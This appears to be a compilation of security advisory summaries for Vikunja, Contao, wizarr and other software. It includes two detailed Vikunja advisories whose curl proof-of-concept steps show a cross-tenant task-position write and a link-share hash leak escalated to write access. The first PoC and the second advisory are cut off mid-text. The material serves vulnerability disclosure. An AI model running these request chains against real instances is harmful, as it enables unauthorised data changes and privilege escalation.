CVE-2026-108265 is a critical origin validation error in Privasys enclave-os-mini, a Rust-based runtime for Intel SGX enclaves. Before version 0.40.0, the SGX runtime's RA-TLS challenge certificate path omitted a value bound to the active TLS session, allowing an attacker with the enclave TLS private key to relay a genuine quote onto another connection. This could cause a relying party to mistakenly accept an attacker-terminated connection as if it were from the attested enclave. The issue is fixed in version 0.40.0.
A vulnerability in Vikunja API allows deletion of task relations without verifying read access to the related task. This permits a user with write access to one project to remove relations linked to tasks in projects they cannot access. The issue affects the DELETE task relation API endpoints and results in silent removal of relations from the other project without data disclosure or privilege escalation.
A vulnerability in the Vikunja API causes assignee email addresses to be disclosed to read-only project members via the task assignees endpoint. Unlike other endpoints that obfuscate user email addresses, this endpoint returns the email field unmasked. This issue affects versions prior to 2.6.0 and allows unauthorized disclosure of email addresses without additional privileges.
Vikunja has a vulnerability where subtasks linked across projects are disclosed without proper access control. A user with read access to one project can retrieve full details of tasks in other private projects if those tasks are subtasks linked under accessible tasks. This cross-project disclosure exposes sensitive task data including titles, descriptions, dates, assignees, labels, and attachment metadata. The issue arises because subtask expansion does not enforce project access filtering. The vulnerability is read-only and depends on pre-existing cross-project subtask links. A fix is available to apply correct access filtering on expanded subtasks.
A vulnerability in Vikunja's CalDAV API allows an attacker to create task relations without proper permission checks. This bypass enables unauthorized writes to any task by specifying its UID, even in projects the attacker cannot access. The issue arises because the CalDAV relation creation path does not enforce the TaskRelation.CanCreate permission check, unlike the REST API. Task UIDs are exposed via CalDAV to users who previously had read access, enabling removed collaborators to exploit this. The flaw also facilitates cross-project subtask relation creation, which can lead to further information disclosure. A fix is available that routes CalDAV relation creation through the proper permission checks and scopes UID lookups to accessible projects.
A vulnerability in Contao core bundle allows disclosure of protected page titles, URLs, and indexed text to unauthenticated visitors via site search when the setting contao.search.index_protected is disabled. The pages themselves remain access-controlled and do not allow unauthorized access. This issue affects versions from 4.0.0 up to but not including 5.3.50 and from 5.4.0-RC1 up to but not including 5.7.12. A patch is available to address this information disclosure.
A vulnerability in Contao core bundle's registration module allows unlimited resending of activation emails without rate limiting. This can be exploited by anyone on the internet to send unlimited emails from the site, potentially harming the site's email reputation and revealing if an address has a pending registration. The issue affects versions from 4.1.0 up to but not including 5.3.50, and from 5.4.0-RC1 up to but not including 5.7.12. A patch is available to address this issue.
CVE-2026-107848 is a cross-site request forgery (CSRF) vulnerability in the Contao core bundle affecting backend actions dispatched via a 'key=' parameter. The generic CSRF token validator only protects POST requests, while GET requests with 'key=' actions lack CSRF protection. An authenticated backend user who loads a malicious URL can unknowingly trigger backend actions without token validation or confirmation. Verified vulnerable actions are destructive or state-changing but do not escalate privileges. The vulnerability affects Contao versions from 4.0.0 up to but not including 5.3.50, and from 5.4.0-RC1 up to but not including 5.7.12. A patch is available to address this issue.
A path traversal vulnerability exists in the Contao core bundle's ImagesController that allows unauthenticated attackers to read files outside the intended image directory if the files have certain image extensions. The vulnerability arises because the path joining logic does not verify that the resolved path remains within the configured image directory. This can disclose files anywhere under the project directory with extensions such as jpg, png, svg, and others. The vulnerability also allows an existence oracle for arbitrary paths and may reveal absolute filesystem paths in debug mode. However, attempts to read files below the upload directory return errors, limiting the practical impact.
CVE-2026-107845 is a critical cross-site scripting (XSS) vulnerability in the Contao comments bundle that allows unauthenticated front end visitors to inject malicious scripts in comments. These scripts execute in the context of any back end user who opens the Comments module, without requiring any user interaction. The lack of a Content-Security-Policy header on the Contao back end allows inline script execution. This can lead to full back end compromise, including reading modules, creating administrators, or editing templates that enable code execution. Moderation does not prevent exposure and actually guarantees it since unpublished comments are still loaded by moderators. A patch is available for affected versions.
Contao core-bundle versions from 5.7.1 up to but not including 5.7.12 contain an improper access control vulnerability in the preview links module. Due to a misnamed class, the preview access voter is not properly registered, allowing non-administrator back end users with the preview_link module permission to read all preview links, including those created by administrators. These preview links grant front end access to unpublished or embargoed pages without any page permission checks, exposing sensitive content to unauthorized users and anyone they share the URLs with. However, editing or deleting these preview links by unauthorized users is prevented by other permission checks. A patch is available to fix this issue.
A caching defect in Contao core-bundle's table access voter allows low-privileged backend users to gain unauthorized read, create, update, and delete access to database tables outside their assigned module permissions. This flaw arises because the access check cache key does not differentiate between tables, causing incorrect reuse of access decisions across different tables during a single request. Sensitive tables such as frontend member records and newsletter subscriber emails are affected. A fix is available for versions 5.7.0 up to but not including 5.7.12.
CVE-2026-108264 is a critical vulnerability in the wizarrrr wizarr application, an advanced user invitation and management system for media servers. Before version 2026.9.1, the application improperly neutralized special elements in its template engine, allowing authenticated users with certain privileges or administrators importing untrusted bundles to execute arbitrary Python code. This occurs due to the evaluation of Markdown in a non-sandboxed Jinja2 environment with application globals exposed. Exploitation can lead to remote code execution, disclosure of sensitive secrets like the Flask SECRET_KEY, access to service credentials and the database, and stored cross-site scripting. The issue is fixed in version 2026.9.1.
## Summary
The task-position endpoint authorizes only the task side of the write: `TaskPosition.CanUpdate` delegates to `Task.CanUpdate` (write access to the task's own project) and the request body's `project_view_id` is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist `(task_id, project_view_id, position)` rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below `MinPositionSpacing`, 0.01) enter the recalculation branch, but `RecalculateTaskPositions` aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes — only the plain row insert (position ≥ 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0.
## Details
Affected endpoints (both verified):
- v1: `POST /api/v1/tasks/{id}/position`
- v2: `PUT /api/v2/tasks/{id}/position`
Root cause in `pkg/models/task_position.go`:
- `CanUpdate` (lines 61-64) checks only `Task.CanUpdate` — i.e. the caller's write access to the task's own project.
- `updateTaskPosition` (lines 174-232) upserts `(task_id, project_view_id, position)` directly; there is no check that the view belongs to the task's project and no access check on the view's project.
- `ProjectViewID` is body-bindable (`json:"project_view_id"`, no readOnly/param restriction, line 42).
Contrast with the fixed sibling: the bucket-move endpoint (`POST /projects/{project}/views/{view}/buckets/{bucket}/tasks`, `pkg/models/kanban_task_bucket.go:53-68`) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes — the position endpoint was never given the equivalent view-side check.
Observed behavior (two independent verification runs): an attacker with zero access to the victim project receives `200 {"task_id": ..., "project_view_id": <victim view>, "position": ...}` on both v1 and v2, and the row is persisted (verified directly in the `task_positions` table: rows for the victim view went 0 to 1). Positioning the victim's own task is correctly refused with 403, isolating the missing view-side check. The victim's listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (< 0.01) injection enters the recalculation branch but `RecalculateTaskPositions` returns 403 (`getRelevantProjectsFromCollection` → `CanRead` on the victim project) before any recalculation runs, rolling the whole request back — so the low-position variant persists nothing and never rewrites the victim's ordering.
## PoC
Steps use the owner of the victim project (token `$OWNER`) and an attacker with only their own project (token `$ATTACKER`). All requests were executed against a local Vikunja 2.5.0 instance.
1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID:
```
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"title":"victim"}'
# -> {"id":200,...}
curl "$BASE/api/v1/projects/200/views" -H "Authorization: Bearer $OWNER"
# -> [{"id":771,"view_kind":"kanban",...}, ...] # remember VIEW=771
```
2. Attacker creates their own project and a task in it:
```
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"title":"attacker"}'
# -> {"id":201,...}
curl -X PUT "$BASE/api/v1/projects/201/tasks" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"title":"evil"}'
# -> {"id":105,...}
```
3. Baseline — attacker positions their task in their own view (succeeds, expected):
```
curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"project_view_id": <OWN_VIEW>, "position": 100}'
# -> 200
```
4. Mutation — attacker writes their task's position into the victim's view (no access to it whatsoever):
```
curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 100}'
# -> 200 {"task_id":105,"project_view_id":771,"position":100}
curl -X PUT "$BASE/api/v2/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 101}'
# -> 200 (v2 twin behaves identically)
```
5. Control — attacker positioning the victim's own task is correctly refused (the task-level gate works; only the view side is missing):
```
curl -X POST "$BASE/api/v1/tasks/<VICTIM_TASK>/position" -H "Authorization: Bearer $ATTACKER" \
-H 'Content-Type: application/json'
## Summary
A user who has only read permission on a project can call the single link-share read endpoint and receive the share's `hash` field — the secret credential that the anonymous `POST /shares/{share}/auth` endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.
## Details
Affected endpoints (both verified with a complete chain):
- v1: `GET /api/v1/projects/{project}/shares/{share}`
- v2: `GET /api/v2/projects/{project}/shares/{share}`
Permission gate: `LinkSharing.CanRead` (`pkg/models/link_sharing_permissions.go`) delegates to `project.CanRead(s, a)` — i.e. any user with read access to the project passes. The response serializes the `hash` field (`pkg/models/link_sharing.go`, field tag `json:"hash"`), which is the share's bearer credential. The share `password` field is correctly cleared before returning, but the hash is not restricted.
Inconsistent with the sibling list endpoint `GET /projects/{project}/shares` (`LinkSharing.ReadAll`, `pkg/models/link_sharing.go:243-256`), which requires `project.IsAdmin` — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 `handler.DoReadOne` wrappers call the same `CanRead`), so both surfaces are affected.
Impact chain: hash -> `POST /api/v1/shares/{hash}/auth` (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.
Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.
## PoC
Steps below use two accounts: the owner (token `$OWNER`) and an attacker who has been granted read-only access to the project (token `$READER`). All requests were executed against a local Vikunja 2.5.0 instance.
1. Owner creates a private project and a read-write link share (permission=1):
```
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"title":"poc"}'
# -> {"id":123,...}
curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"name":"poc","permission":1}'
# -> {"id":7,"hash":"<SECRET_HASH>",...}
```
2. Owner adds the attacker as a read-only member (permission=0):
```
curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}'
```
3. Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):
```
curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"id":7,"hash":"<SECRET_HASH>","permission":1,...}
# v2 twin behaves identically:
curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"hash":"<SECRET_HASH>",...}
```
4. Attacker exchanges the hash for a link-share JWT (no authentication required):
```
curl -X POST "$BASE/api/v1/shares/<SECRET_HASH>/auth" \
-H 'Content-Type: application/json' -d '{}'
# -> 200 {"token":"<LINK_JWT>",...}
```
5. Negative control — the attacker's own user token cannot write to the project:
```
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \
-H 'Content-Type: application/json' -d '{"title":"direct"}'
# -> 403 Forbidden
```
6. Escalation proof — the link-share JWT writes successfully:
```
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINK_JWT>" \
-H 'Content-Type: application/json' -d '{"title":"escalated"}'
# -> 201 Created
```
Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).
## Impact
Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project tha
Vikunja versions prior to 2.4.0 store sensitive tokens such as password-reset, email-confirmation, and account-deletion tokens in plaintext within the user_tokens database table. This cleartext storage allows an attacker with read access to the database to use these tokens to take over user accounts without needing passwords. The issue is fixed in version 2.4.0.
Vikunja versions 1.0.0 through 2.3.0 contain an improper authentication vulnerability in the OpenID Connect provider's email fallback feature. When enabled, the system links an SSO login to a local account using only the email claim without verifying the email or requiring the account password. This allows an attacker who obtains a token with a victim's email to log in as that victim without their consent. The issue is fixed in version 2.4.0.
CVE-2026-108263 is a critical vulnerability in iflytek's astron-agent prior to version 1.1.2. It involves improper neutralization of directives in dynamically evaluated code, allowing an authenticated low-privilege tenant to execute arbitrary code as root within the core-workflow container. This can lead to unauthorized access to shared service and database credentials, bypassing tenant isolation, and enabling data compromise or service disruption. The issue is fixed in version 1.1.2.
Vikunja version 2.3.0 contains an improper privilege management vulnerability where a scoped API token limited to the oauth.authorize permission can be used to obtain a bearer JWT and refresh token without scope restrictions. This allows access to API routes beyond the token's original permissions. The issue is fixed in version 2.4.0.
Aegisub is a cross-platform advanced subtitle editor. From 3.2.0 to 3.4.2, Aegisub automatically loads Automation scripts referenced by `Automation Scripts` metadata in `ASS` subtitle projects without asking whether the user trusts the scripts or their authors. An attacker can distribute a crafted `ASS` file together with a referenced malicious Automation script, and opening the `AS` file executes arbitrary code with the privileges of the Aegisub process. From 3.4.0 to 3.4.2, inconsistent handling of embedded `NUL` characters between extension validation and filesystem operations additionally allows a crafted `ASS/Lua` polyglot to reference and execute itself as a single-file variant. The vulnerability is fixed in Aegisub 3.5.0.